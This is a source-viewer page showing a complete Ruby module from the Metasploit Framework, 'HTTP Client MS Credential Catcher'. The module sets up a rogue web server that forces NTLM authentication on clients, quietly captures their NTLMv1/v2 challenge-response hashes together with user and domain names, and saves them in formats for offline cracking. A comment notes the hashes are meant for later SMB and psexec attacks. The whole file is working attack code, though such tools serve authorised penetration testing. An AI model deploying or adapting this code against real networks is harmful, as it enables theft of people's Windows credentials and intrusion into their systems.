Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / server / capture / http_ntlm.rb @ master

History | View | Annotate | Download (12.7 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
require 'rex/proto/ntlm/constants'
15
require 'rex/proto/ntlm/message'
16
require 'rex/proto/ntlm/crypt'
17

    
18
NTLM_CONST = Rex::Proto::NTLM::Constants
19
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
20
MESSAGE = Rex::Proto::NTLM::Message
21

    
22
class Metasploit3 < Msf::Auxiliary
23

    
24
        include Msf::Exploit::Remote::HttpServer::HTML
25
        include Msf::Auxiliary::Report
26

    
27
        def initialize(info = {})
28
                super(update_info(info,
29
                        'Name'        => 'HTTP Client MS Credential Catcher',
30
                        'Version'     => '$Revision$',
31
                        'Description' => %q{
32
                                        This module attempts to quietly catch NTLM/LM Challenge hashes.
33
                                },
34
                        'Author'      =>
35
                                [
36
                                        'Ryan Linn <sussurro[at]happypacket.net>',
37
                                ],
38
                        'Version'     => '$Revision$',
39
                        'License'     => MSF_LICENSE,
40
                        'Actions'     =>
41
                                [
42
                                        [ 'WebServer' ]
43
                                ],
44
                        'PassiveActions' =>
45
                                [
46
                                        'WebServer'
47
                                ],
48
                        'DefaultAction'  => 'WebServer'))
49

    
50
                register_options([
51
                        #OptString.new('LOGFILE',     [ false, "The local filename to store the captured hashes", nil ]),
52
                        OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
53
                        OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
54
                        OptString.new('CHALLENGE',   [ true, "The 8 byte challenge ", "1122334455667788" ])
55

    
56
                ], self.class)
57

    
58
                register_advanced_options([
59
                        OptString.new('DOMAIN',  [ false, "The default domain to use for NTLM authentication", "DOMAIN"]),
60
                        OptString.new('SERVER',  [ false, "The default server to use for NTLM authentication", "SERVER"]),
61
                        OptString.new('DNSNAME',  [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]),
62
                        OptString.new('DNSDOMAIN',  [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]),
63
                        OptBool.new('FORCEDEFAULT',  [ false, "Force the default settings", false])
64
                ], self.class)
65

    
66
        end
67

    
68
        def on_request_uri(cli, request)
69
                print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
70

    
71
                # If the host has not started auth, send 401 authenticate with only the NTLM option
72
                if(!request.headers['Authorization'])
73
                        response = create_response(401, "Unauthorized")
74
                        response.headers['WWW-Authenticate'] = "NTLM"
75
                        cli.send_response(response)
76
                else
77
                        method,hash = request.headers['Authorization'].split(/\s+/,2)
78
                        # If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
79
                        if(method != "NTLM")
80
                                print_status("Unrecognized Authorization header, responding with 404")
81
                                send_not_found(cli)
82
                                return false
83
                        end
84

    
85
                        response = handle_auth(cli,hash)
86
                        cli.send_response(response)
87
                end
88
        end
89

    
90
        def run
91
                if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
92
                        @challenge = [ datastore['CHALLENGE'] ].pack("H*")
93
                else
94
                        print_error("CHALLENGE syntax must match 1122334455667788")
95
                        return
96
                end
97
                exploit()
98
        end
99

    
100
        def handle_auth(cli,hash)
101
                #authorization string is base64 encoded message
102
                message = Rex::Text.decode_base64(hash)
103

    
104
                if(message[8,1] == "\x01")
105
                        domain = datastore['DOMAIN']
106
                        server = datastore['SERVER']
107
                        dnsname = datastore['DNSNAME']
108
                        dnsdomain = datastore['DNSDOMAIN']
109

    
110
                        if(!datastore['FORCEDEFAULT'])
111
                                dom,ws = parse_type1_domain(message)
112
                                if(dom)
113
                                        domain = dom
114
                                end
115
                                if(ws)
116
                                        server = ws
117
                                end
118
                        end
119

    
120
                        response = create_response(401, "Unauthorized")
121
                        chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
122
                        response.headers['WWW-Authenticate'] = "NTLM " + chalhash
123
                        return response
124

    
125
                #if the message is a type 3 message, then we have our creds
126
                elsif(message[8,1] == "\x03")
127
                        domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
128
                        nt_len = ntlm_hash.length
129

    
130
                        if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
131
                                arg = {        :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
132
                                        :lm_hash => lm_hash,
133
                                        :nt_hash => ntlm_hash
134
                                }
135

    
136
                                if arg[:lm_hash][16,32] == '0' * 32
137
                                        arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
138
                                end
139
                        #if the length of the ntlm response is not 24 then it will be bigger and represent
140
                        # a ntlmv2 response
141
                        elsif nt_len > 48 #lmv2/ntlmv2
142
                                arg = {        :ntlm_ver                 => NTLM_CONST::NTLM_V2_RESPONSE,
143
                                        :lm_hash                 => lm_hash[0, 32],
144
                                        :lm_cli_challenge         => lm_hash[32, 16],
145
                                        :nt_hash                 => ntlm_hash[0, 32],
146
                                        :nt_cli_challenge         => ntlm_hash[32, nt_len  - 32]
147
                                }
148
                        elsif nt_len == 0
149
                                print_status("Empty hash from #{host} captured, ignoring ... ")
150
                        else
151
                                print_status("Unknown hash type from #{host}, ignoring ...")
152
                        end
153

    
154
                        # If we get an empty hash, or unknown hash type, arg is not set.
155
                        # So why try to read from it?
156
                        if not arg.nil?
157
                                arg[:host] = host
158
                                arg[:user] = user
159
                                arg[:domain] = domain
160
                                arg[:ip] = cli.peerhost
161
                                html_get_hash(arg)
162
                        end
163

    
164
                        response = create_response(200)
165
                        response.headers['Cache-Control'] = "no-cache"
166
                        return response
167
                else
168
                        response = create_response(200)
169
                        response.headers['Cache-Control'] = "no-cache"
170
                        return response
171
                end
172

    
173
        end
174

    
175
        def parse_type1_domain(message)
176
                domain = nil
177
                workstation = nil
178

    
179
                reqflags = message[12,4]
180
                reqflags = reqflags.unpack("V").first
181

    
182
                if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN)
183
                        dom_len = message[16,2].unpack('v')[0].to_i
184
                        dom_off = message[20,2].unpack('v')[0].to_i
185
                        domain = message[dom_off,dom_len].to_s
186
                end
187
                if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION)
188
                        wor_len = message[24,2].unpack('v')[0].to_i
189
                        wor_off = message[28,2].unpack('v')[0].to_i
190
                        workstation = message[wor_off,wor_len].to_s
191
                end
192
                return domain,workstation
193

    
194
        end
195

    
196
        def html_get_hash(arg = {})
197
                ntlm_ver = arg[:ntlm_ver]
198
                if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
199
                        lm_hash = arg[:lm_hash]
200
                        nt_hash = arg[:nt_hash]
201
                else
202
                        lm_hash = arg[:lm_hash]
203
                        nt_hash = arg[:nt_hash]
204
                        lm_cli_challenge = arg[:lm_cli_challenge]
205
                        nt_cli_challenge = arg[:nt_cli_challenge]
206
                end
207
                domain = arg[:domain]
208
                user = arg[:user]
209
                host = arg[:host]
210
                ip = arg[:ip]
211

    
212
                unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
213

    
214
                        @previous_lm_hash = lm_hash
215
                        @previous_ntlm_hash = nt_hash
216

    
217
                        # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
218
                        case ntlm_ver
219
                        when NTLM_CONST::NTLM_V1_RESPONSE
220
                                if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
221
                                                                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
222
                                        print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
223
                                        return
224
                                end
225
                                if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
226
                                        lm_hash_message = "Disabled"
227
                                elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
228
                                                                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
229
                                        lm_hash_message = "Disabled (from empty password)"
230
                                else
231
                                        lm_hash_message = lm_hash
232
                                        lm_chall_message = lm_cli_challenge
233
                                end
234
                        when NTLM_CONST::NTLM_V2_RESPONSE
235
                                if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
236
                                                                :cli_challenge => [nt_cli_challenge].pack("H*"),
237
                                                                :user => Rex::Text::to_ascii(user),
238
                                                                :domain => Rex::Text::to_ascii(domain),
239
                                                                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
240
                                        print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
241
                                        return
242
                                end
243
                                if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
244
                                        lm_hash_message = "Disabled"
245
                                        lm_chall_message = 'Disabled'
246
                                elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
247
                                                                :cli_challenge => [lm_cli_challenge].pack("H*"),
248
                                                                :user => Rex::Text::to_ascii(user),
249
                                                                :domain => Rex::Text::to_ascii(domain),
250
                                                                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
251
                                        lm_hash_message = "Disabled (from empty password)"
252
                                        lm_chall_message = 'Disabled'
253
                                else
254
                                        lm_hash_message = lm_hash
255
                                        lm_chall_message = lm_cli_challenge
256
                                end
257

    
258
                        when NTLM_CONST::NTLM_2_SESSION_RESPONSE
259
                                if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
260
                                                                :cli_challenge => [lm_hash].pack("H*")[0,8],
261
                                                                :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
262
                                        print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
263
                                        return
264
                                end
265
                                lm_hash_message = lm_hash
266
                                lm_chall_message = lm_cli_challenge
267
                        end
268

    
269
                        # Display messages
270
                        domain = Rex::Text::to_ascii(domain)
271
                        user = Rex::Text::to_ascii(user)
272

    
273
                        capturedtime = Time.now.to_s
274
                        case ntlm_ver
275
                        when NTLM_CONST::NTLM_V1_RESPONSE
276
                                smb_db_type_hash = "smb_netv1_hash"
277
                                capturelogmessage =
278
                                        "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
279
                                        "DOMAIN: #{domain} USER: #{user} \n" +
280
                                        "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
281
                        when NTLM_CONST::NTLM_V2_RESPONSE
282
                                smb_db_type_hash = "smb_netv2_hash"
283
                                capturelogmessage =
284
                                        "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
285
                                        "DOMAIN: #{domain} USER: #{user} \n" +
286
                                        "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
287
                                        "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
288
                                        "NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
289
                                        "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
290
                        when NTLM_CONST::NTLM_2_SESSION_RESPONSE
291
                                #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
292
                                #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
293
                                smb_db_type_hash = "smb_netv1_hash"
294
                                capturelogmessage =
295
                                        "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
296
                                        "DOMAIN: #{domain} USER: #{user} \n" +
297
                                        "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
298
                                        "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
299

    
300
                        else # should not happen
301
                                return
302
                        end
303

    
304
                        print_status(capturelogmessage)
305

    
306
                        # DB reporting
307
                        # Rem :  one report it as a smb_challenge on port 445 has breaking those hashes
308
                        # will be mainly use for psexec / smb related exploit
309
                        report_auth_info(
310
                                :host  => ip,
311
                                :port => 445,
312
                                :sname => 'smb_challenge',
313
                                :user => user,
314
                                :pass => domain + ":" +
315
                                        ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" +
316
                                        ( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s :  "00" * 24 ) + ":" +
317
                                        datastore['CHALLENGE'].to_s,
318
                                :type => smb_db_type_hash,
319
                                :proof => "DOMAIN=#{domain}",
320
                                :source_type => "captured",
321
                                :active => true
322
                        )
323
                        #if(datastore['LOGFILE'])
324
                        #        File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
325
                        #end
326

    
327
                        if(datastore['CAINPWFILE'] and user)
328
                                if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
329
                                        fd = File.open(datastore['CAINPWFILE'], "ab")
330
                                        fd.puts(
331
                                                [
332
                                                        user,
333
                                                        domain ? domain : "NULL",
334
                                                        @challenge.unpack("H*")[0],
335
                                                        lm_hash ? lm_hash : "0" * 48,
336
                                                        nt_hash ? nt_hash : "0" * 48
337
                                                ].join(":").gsub(/\n/, "\\n")
338
                                        )
339
                                        fd.close
340
                                end
341
                        end
342

    
343
                        if(datastore['JOHNPWFILE'] and user)
344
                                case ntlm_ver
345
                                when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
346

    
347
                                        fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
348
                                        fd.puts(
349
                                                [
350
                                                        user,"",
351
                                                        domain ? domain : "NULL",
352
                                                        lm_hash ? lm_hash : "0" * 48,
353
                                                        nt_hash ? nt_hash : "0" * 48,
354
                                                        @challenge.unpack("H*")[0]
355
                                                ].join(":").gsub(/\n/, "\\n")
356
                                        )
357
                                        fd.close
358
                                when NTLM_CONST::NTLM_V2_RESPONSE
359
                                        #lmv2
360
                                        fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
361
                                        fd.puts(
362
                                                [
363
                                                        user,"",
364
                                                        domain ? domain : "NULL",
365
                                                        @challenge.unpack("H*")[0],
366
                                                        lm_hash ? lm_hash : "0" * 32,
367
                                                        lm_cli_challenge ? lm_cli_challenge : "0" * 16
368
                                                ].join(":").gsub(/\n/, "\\n")
369
                                        )
370
                                        fd.close
371
                                        #ntlmv2
372
                                        fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
373
                                        fd.puts(
374
                                                [
375
                                                        user,"",
376
                                                        domain ? domain : "NULL",
377
                                                        @challenge.unpack("H*")[0],
378
                                                        nt_hash ? nt_hash : "0" * 32,
379
                                                        nt_cli_challenge ? nt_cli_challenge : "0" * 160
380
                                                ].join(":").gsub(/\n/, "\\n")
381
                                        )
382
                                        fd.close
383
                                end
384

    
385
                        end
386
                end
387
        end
388

    
389
end